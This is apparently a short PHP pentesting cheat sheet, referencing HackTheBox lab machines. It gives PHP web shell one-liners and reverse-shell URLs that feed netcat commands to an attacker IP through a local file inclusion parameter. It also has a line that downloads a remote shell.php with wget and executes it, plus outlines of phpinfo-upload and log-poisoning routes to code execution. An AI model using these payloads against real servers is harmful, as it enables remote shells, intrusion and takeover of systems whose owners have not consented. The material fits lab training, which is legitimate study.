php

Basics

Reverse Shell

  • Two options to try:

<?php system($_GET["cmd"]); ?>               ..should work
<?php echo system($_REQUEST ["cmd"]); ?>     ..one I normally see

http://web/hi.php?notes=/../note.php&cmd=nc -e /bin/sh 10.x.x.x 4444
http://web/hi.php?notes=/../note.php&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.x.x.x 4444 > /tmp/f

Downloading

<?php system("wget $IP/shell.php -O /tmp/shell.php; php /tmp/shell.php"); ?>

php explore

  • REF: poisonHTB

phpinfo - fileupload - vulnerability

  • Check options for: phpinfo.php

  • If 'fileupload = ON' - it will receive any files you send.

  • php will save them to a cache directory (normally not available to users)

  • But with an LFI you may get code-execution

  • Test with Burp Intercept:

phpinfo - LFI

Log Poisoning

  • Submit an evil log entry (custom User-Agent)

  • Execute it Viewing the log with an LFI

  • If php tags are 'hidden' then they are interpreted, and we can inject our payload

  • REF: php, poisonHTB

Last updated

Was this helpful?